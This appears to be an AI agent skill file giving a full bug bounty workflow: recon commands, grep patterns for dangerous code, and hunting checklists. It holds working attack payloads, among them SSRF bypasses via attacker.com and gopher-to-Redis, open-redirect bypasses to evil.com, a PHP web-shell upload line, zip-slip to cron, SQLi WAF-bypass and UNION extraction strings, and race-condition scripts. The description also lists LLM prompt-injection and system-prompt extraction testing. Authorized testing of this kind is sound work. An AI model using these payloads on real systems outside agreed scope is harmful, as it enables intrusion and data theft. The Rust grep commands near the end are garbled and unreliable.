bug-bounty

name

bug-bounty

description

Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告

Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

THE ONLY QUESTION THAT MATTERS

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

If the answer is NO -- STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

Pattern	Kill Reason
"Could theoretically allow..."	Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."	Too many preconditions
"Wrong implementation but no practical impact"	Wrong but harmless = not a bug
Dead code with a bug in it	Not reachable = not a bug
Source maps without secrets	No impact
SSRF with DNS-only callback	Need data exfil or internal access
Open redirect alone	Need ATO or OAuth chain
"Could be used in a chain if..."	Build the chain first, THEN report

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

---

CRITICAL RULES

1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
5. One bug class at a time -- go deep, don't spray
6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
18. LEAD BOARD — never lose a lead -- after recon run python3 tools/lead_board.py ingest <target> + show + next. Route each signal to its skill ("GraphQL → hunt-graphql"). touch when starting/killing/reporting. Focus on one lead; the board remembers the rest. Surface stale high-priority leads unprompted.

For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see skills/bb-methodology/SKILL.md.

Tool catalogue: tools/README.md (~50 tools). Orchestrator: python3 tools/hunt.py --target T (auto lead ingest; add --graphql / --cve-hunt as needed).

---

AUTH-AWARE HUNTING (when bugs live behind a login)

Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment, privilege escalation, auth bypass, SSRF behind login, and most LLM/agent bugs are invisible until you log in. Load auth once at session start and every downstream tool (httpx, katana, ffuf, nuclei, dalfox, the SQLi / SSTI / upload PoC verifiers) sends those headers automatically.

# Pick ONE of these and run hunt.py normally:
python3 tools/hunt.py --target T --cookie 'session=eyJabc...'
python3 tools/hunt.py --target T --bearer 'eyJhbGciOi...'
python3 tools/hunt.py --target T --auth-file .private/T.json

# Or via env (persists for the shell):
export BBHUNT_COOKIE='session=eyJabc...'
python3 tools/hunt.py --target T

For IDOR / BOLA hunts, load two sessions and diff behavior:

python3 tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 tools/hunt.py --target T --auth-file .private/T-user-b.json
# Audit log entries carry different session_id hashes → diff which
# endpoints behaved differently per identity.

Safety: cookies/tokens never appear in logs, hunt-memory, or repr(). Only a 12-char session_id hash is recorded. .private/ is gitignored. MFA-skip and SAML signature-stripping probes deliberately stay anonymous — that's the attack they're checking for.

Full guide: docs/auth-sessions.md. Template: docs/auth.example.json.

---

A->B BUG SIGNAL METHOD (Cluster Hunting)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

Known A->B->C Chains

Bug A (Signal)	Hunt for Bug B	Escalate to C
IDOR (read)	PUT/DELETE on same endpoint	Full account data manipulation
SSRF (any)	Cloud metadata 169.254.169.254	IAM credential exfil -> RCE
XSS (stored)	Check if HttpOnly is set on session cookie	Session hijack -> ATO
Open redirect	OAuth redirect_uri accepts your domain	Auth code theft -> ATO
S3 bucket listing	Enumerate JS bundles	Grep for OAuth client_secret -> OAuth chain
Rate limit bypass	OTP brute force	Account takeover
GraphQL introspection	Missing field-level auth	Mass PII exfil
Debug endpoint	Leaked environment variables	Cloud credential -> infrastructure access
CORS reflects origin	Test with credentials: include	Credentialed data theft
Host header injection	Password reset poisoning	ATO via reset link

Cluster Hunt Protocol (6 Steps)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

Real Examples

Coinbase S3->Bundle->Secret->OAuth chain:

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna Chatbot chain:

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

---

TOP 1% HACKER MINDSET

How Elite Hackers Think Differently

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

Pre-Hunt Mental Framework

Step 1: Crown Jewel Thinking

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

• Financial app -> drain funds, transfer to attacker account
• Healthcare -> PII leak, HIPAA violation
• SaaS -> tenant data crossing, admin takeover
• Auth provider -> full SSO chain compromise

Step 2: Developer Empathy

Think like the developer who built the feature:

• What was the simplest implementation?
• What shortcut would a tired dev take at 2am?
• Where is auth checked -- controller? middleware? DB layer?
• What happens when you call endpoint B without going through endpoint A first?

Step 3: Trust Boundary Mapping

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Step 4: Feature Interaction Thinking

• Does this new feature reuse old auth, or does it have its own?
• Does the mobile API share auth logic with the web app?
• Was this feature built by the same team or a third-party?

The Top 1% Mental Checklist

• I know the app's core business model
• I've used the app as a real user for 15+ minutes
• I know the tech stack (language, framework, auth system, caching)
• I've read at least 3 disclosed reports for this program
• I have 2 test accounts ready (attacker + victim)
• I've defined my primary target: ONE crown jewel I'm hunting for today

Mindset Rules from Top Hunters

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.

"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.

"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.

"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

---

TOOLS

Go Binaries

Tool	Use
subfinder	Passive subdomain enum
httpx	Probe live hosts
dnsx	DNS resolution
nuclei	Template scanner
katana	Crawl
waybackurls	Archive URLs
gau	Known URLs
dalfox	XSS scanner
ffuf	Fuzzer
anew	Dedup append
qsreplace	Replace param values
assetfinder	Subdomain enum
gf	Grep patterns (xss, sqli, ssrf, redirect)
interactsh-client	OOB callbacks

Tools to Install When Needed

Tool	Use	Install
arjun	Hidden parameter discovery	pip3 install arjun
paramspider	URL parameter mining	pip3 install paramspider
kiterunner	API endpoint brute	go install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenum	Cloud asset enumeration	pip3 install cloud_enum
trufflehog	Secret scanning	brew install trufflehog
gitleaks	Secret scanning	brew install gitleaks
XSStrike	Advanced XSS scanner	pip3 install xsstrike
SecretFinder	JS secret extraction	pip3 install secretfinder
sqlmap	SQL injection	pip3 install sqlmap
subzy	Subdomain takeover	go install github.com/LukaSikic/subzy@latest

Static Analysis (Semgrep Quick Audit)

# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'

FFUF Advanced Techniques

# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output

AI-Assisted Tools

• strix (usestrix.com) -- open-source AI scanner for automated initial sweep

AI-ASSISTED HUNT LOOP

Use AI as a second analyst, not as the authority.

1. Decompose the feature — ask for actors, assets, trust boundaries, hidden state, and sibling endpoints.
2. Generate the test matrix — anonymous vs authenticated, user A vs user B, fresh vs stale session, web vs mobile, legacy vs current API.
3. Ask for developer shortcuts — where a rushed implementation would likely skip a check, reuse a helper, or trust a client-side value.
4. Ask for adjacent bugs — if A is real, what B and C are likely nearby?
5. Convert every idea into one request — the output must be a concrete HTTP experiment or it stays speculation.
6. Proof first, report later — AI can rank hypotheses, but only live request/response diffs and cross-account deltas can promote a finding.

Good prompt shapes:

• "Given this feature, list the 10 most likely trust-boundary mistakes."
• "What sibling routes, methods, or roles should I test next?"
• "What would a tired developer probably reuse here?"
• "What is the smallest reproducible request that could prove impact?"
• "What evidence would downgrade this to N/A?"

---

PHASE 1: RECON

Standard Recon Pipeline

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3

Cloud Asset Enumeration

# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done

API Endpoint Discovery

# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac

HackerOne Scope Retrieval

curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

Quick Wins Checklist

• Subdomain takeover (subjack, subzy)
• Exposed .git (/.git/config)
• Exposed env files (/.env, /.env.local)
• Default credentials on admin panels
• JS secrets (SecretFinder, jsluice)
• Open redirects (?redirect=, ?next=, ?url=)
• CORS misconfig (test Origin: https://evil.com + credentials)
• S3/cloud buckets
• GraphQL introspection enabled
• Spring actuators (/actuator/env, /actuator/heapdump) — for full framework debug surface + triggering techniques → web2-vuln-classes "Error Disclosure / Debug Endpoints"
• Firebase open read (https://TARGET.firebaseio.com/.json)

Technology Fingerprinting

Signal	Technology
Cookie: XSRF-TOKEN + *_session	Laravel
Cookie: PHPSESSID	PHP
Header: X-Powered-By: Express	Node.js/Express
Response: wp-json/wp-content	WordPress
Response: {"errors":[{"message":	GraphQL
Header: X-Powered-By: Next.js	Next.js

After any stack is identified: immediately check its debug surface — probe the framework-specific paths from web2-vuln-classes "Error Disclosure / Debug Endpoints", then grep all 4xx/5xx response bodies for the framework regex patterns there before moving to Phase 3.

Framework Quick Wins

Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1 Node.js: /.env, /graphql (introspection), /_debug AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins

Source Code Recon

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"

Language-Specific Grep Patterns

# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
# ↑ If listeners found, verify origin-check robustness with attacker page —
#   see web2-vuln-classes section 3 "postMessage Testing"
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn  --include= | grep -v 
grep -rn  --include= -B5 | grep 
grep -rn  --include= | grep -v 

---

PHASE 2: LEARN (Pre-Hunt Intelligence)

Read Disclosed Reports

# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

"What Changed" Method

1. Find disclosed report for similar tech
2. Get the fix commit
3. Read the diff -- identify the anti-pattern
4. Grep your target for that same anti-pattern

Threat Model Template

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
2. Developer Inconsistency = Strongest Evidence -- timingSafeEqual in one place, === elsewhere
3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
5. Secondary/Legacy Endpoints = No Auth -- /api/v1/ guarded but /api/ isn't
6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

---

PHASE 3: HUNT

Note-Taking System (Never Hunt Without This)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

> **Before closing any 4xx/5xx:** grep the response body for the 8 framework trace patterns in web2-vuln-classes "Error Disclosure / Debug Endpoints". A 502 body containing a Node.js stack trace is not a dead end — it is a chain entry point.

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

Subdomain Type -> Hunt Strategy

• dev/staging/test: Debug endpoints, disabled auth, verbose errors
• admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
• api/api-v2: Enumerate with kiterunner, check older unprotected versions
• auth/sso: OAuth misconfigs, open redirect in redirect_uri
• upload/cdn: CORS, path traversal, stored XSS
• 403/blocked sensitive paths (/.env 403, /.git 403, /admin 403): pivot to "Error Disclosure / Debug Endpoints" triggering techniques — malformed input on adjacent API endpoints (/api/user/abc, {"id": null}, ?page=9999999999) to elicit framework stack traces without needing direct path access.

CVE-Seeded Audit Approach

1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
2. Reproduce old bugs -- verify you can find the pattern in older code
3. Pattern-match forward -- search for the same anti-pattern in current code
4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input

Rust/Blockchain Source Code (Hard-Won Lessons)

Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.

Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

---

VULNERABILITY HUNTING CHECKLISTS

IDOR -- Insecure Direct Object Reference

#1 most paid web2 class -- 30% of all submissions that get paid.

IDOR Variants (10 Ways to Test)

Variant	What to Test
V1: Direct	Change object ID in URL path /api/users/123 -> /api/users/456
V2: Body param	Change ID in POST/PUT JSON body {"user_id": 456}
V3: GraphQL node	{ node(id: "base64(OtherType:123)") { ... } }
V4: Batch/bulk	/api/users?ids=1,2,3,4,5 -- request multiple IDs at once
V5: Nested	Change parent ID: /orgs/{org_id}/users/{user_id}
V6: File path	/files/download?path=../other-user/file.pdf
V7: Predictable	Sequential integers, timestamps, short UUIDs
V8: Method swap	GET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollback	v2 blocked? Try /api/v1/ same endpoint
V10: Header injection	X-User-ID: victim_id, X-Org-ID: victim_org

IDOR Testing Checklist

• Create two accounts (A = attacker, B = victim)
• Log in as A, perform all actions, note all IDs in requests
• Log in as B, replay A's requests with A's IDs using B's auth
• Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
• Check API v1/v2 differences
• Check GraphQL schema for node() queries
• Check WebSocket messages for client-supplied IDs
• Test batch endpoints (can you request multiple IDs?)
• Try adding unexpected params: ?user_id=other_user

IDOR Chains (higher payout)

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot (LLM reads other user's data) = High

SSRF -- Server-Side Request Forgery

• Try cloud metadata: http://169.254.169.254/latest/meta-data/
• Try internal services: http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)
• Test all IP bypass techniques (see table below)
• Test protocol bypass: file://, dict://, gopher://
• Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

SSRF IP Bypass Table (11 Techniques)

Bypass	Payload	Notes
Decimal IP	http://2130706433/	127.0.0.1 as single decimal
Hex IP	http://0x7f000001/	Hex representation
Octal IP	http://0177.0.0.1/	Octal 0177 = 127
Short IP	http://127.1/	Abbreviated notation
IPv6	http://[::1]/	Loopback in IPv6
IPv6-mapped	http://[::ffff:127.0.0.1]/	IPv4-mapped IPv6
Redirect chain	http://attacker.com/302->http://169.254.169.254	Check each hop
DNS rebinding	Register domain resolving to 127.0.0.1	First check = external, fetch = internal
URL encoding	http://[e-mail]	Parser confusion
Enclosed alphanumeric	http://①②⑦.⓪.⓪.①	Unicode numerals
Protocol smuggling	gopher://127.0.0.1:6379/_INFO	Redis/other protocols

SSRF Impact Chain

• DNS-only = Informational (don't submit)
• Internal service accessible = Medium
• Cloud metadata readable = High (key exposure)
• Cloud metadata + exfil keys = Critical (code execution on cloud)
• Docker API accessible = Critical (direct RCE)

OAuth / OIDC

• Missing state parameter -> CSRF
• redirect_uri accepts wildcards -> ATO
• Missing PKCE -> code theft
• Implicit flow -> token leakage in referrer
• Open redirect in post-auth redirect -> OAuth token theft chain

Open Redirect Bypass Table (11 Techniques)

Use these when chaining open redirect into OAuth code theft:

Bypass	Payload	Notes
Double URL encoding	%252F%252F	Decodes to // after double decode
Backslash	https://target.com\@evil.com	Some parsers normalize \ to /
Missing protocol	//evil.com	Protocol-relative
@-trick	https://[e-mail]	target.com becomes username
Protocol-relative	///evil.com	Triple slash
Tab/newline injection	//evil%09.com	Whitespace in hostname
Fragment trick	https://evil.com#target.com	Fragment misleads validation
Null byte	https://evil.com%00target.com	Some parsers truncate at null
Parameter pollution	?next=target.com&next=evil.com	Last value wins
Path confusion	/redirect/..%2F..%2Fevil.com	Path traversal in redirect
Unicode normalization	https://evil.com/target.com	Visual confusion

File Upload

File Upload Bypass Table

Bypass	Technique
Double extension	file.php.jpg, file.php%00.jpg
Case variation	file.pHp, file.PHP5
Alternative extensions	.phtml, .phar, .shtml, .inc
Content-Type spoof	image/jpeg header with PHP content
Magic bytes	GIF89a; <?php system($_GET['c']); ?>
.htaccess upload	AddType application/x-httpd-php .jpg
SVG XSS	<svg onload=alert(1)>
Race condition	Upload + execute before cleanup runs
Polyglot JPEG/PHP	Valid JPEG that is also valid PHP
Zip slip	../../etc/cron.d/shell in filename inside archive

Magic Bytes Reference

Type	Hex
JPEG	FF D8 FF
PNG	89 50 4E 47 0D 0A 1A 0A
GIF	47 49 46 38
PDF	25 50 44 46
ZIP/DOCX/XLSX	50 4B 03 04

Race Conditions

• Coupon codes / promo codes
• Gift card redemption
• Fund transfer / withdrawal
• Voting / rating limits
• OTP verification brute via race

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

Business Logic

• Negative quantities in cart
• Price parameter tampering
• Workflow skip (e.g., pay without checkout)
• Role escalation via registration fields
• Privilege persistence after downgrade

XSS -- Cross-Site Scripting

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

• XSS + sensitive page (banking, admin) = High
• XSS + CSRF token theft = CSRF bypass -> Critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• XSS in chatbot response = stored XSS chain

SQL Injection

Detection

# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

Stack → DBMS fingerprint (pick the right payload or you MISS blind/error injections)

Tech signal	Likely DBMS	Blind probe
.asp/.aspx, IIS, ASP.NET error pages	MSSQL	WAITFOR DELAY '0:0:5'--
.php, Apache/nginx LAMP	MySQL/MariaDB	SLEEP(5)--
Java/Spring, .jsp	PostgreSQL / MSSQL / Oracle	pg_sleep(5) / WAITFOR / dbms_pipe.receive_message('a',5)
Python (Django/Flask), Rails	PostgreSQL / MySQL	pg_sleep(5) / SLEEP(5)

Fingerprint early: @@version (MSSQL/MySQL), version() (PG), SELECT banner FROM v$version (Oracle). A wrong-DBMS payload silently fails — that's a missed bug, not a clean target.

Where SQLi hides (test every sink, not just the search box)

• Every param from recon / param-discover — incl. JSON keys, ORDER BY/sort= columns (can't be parameterized → high-yield), LIMIT/offset
• Headers & cookies looked up in a query (X-Forwarded-For, User-Agent, session/auth tokens)
• Second-order: value stored on one request (profile field, filename), fires in a later query — plant '/sleep, then watch a different page render
• REST/GraphQL filters, export & report generators, autocomplete/"search" endpoints

Confirm + prove impact (read-only — kills N/A, catches blind)

-- 1. confirm it's REAL (don't stop at one error)
' AND 1=1--  vs  ' AND 1=2--    → responses differ = boolean oracle = real
-- 2. column count, then a displayable column
' ORDER BY 1--  ↑ N until error → N-1 cols
0' UNION SELECT NULL,'MARKER',NULL--   → find where MARKER renders
-- 3. prove readable data (ONE value is enough for a valid report)
0' UNION SELECT NULL,@@version,NULL--               -- MSSQL/MySQL
0' UNION SELECT NULL,version(),NULL--               -- PostgreSQL
-- one-request dump when proving a sensitive table:
-- MySQL GROUP_CONCAT() · MSSQL/PG STRING_AGG() · Oracle LISTAGG()

SQLi that reads a sensitive row (e.g. a config/credentials table) is already a valid, high-severity finding — submit on the readable data, not a lone 500. You do not need RCE.

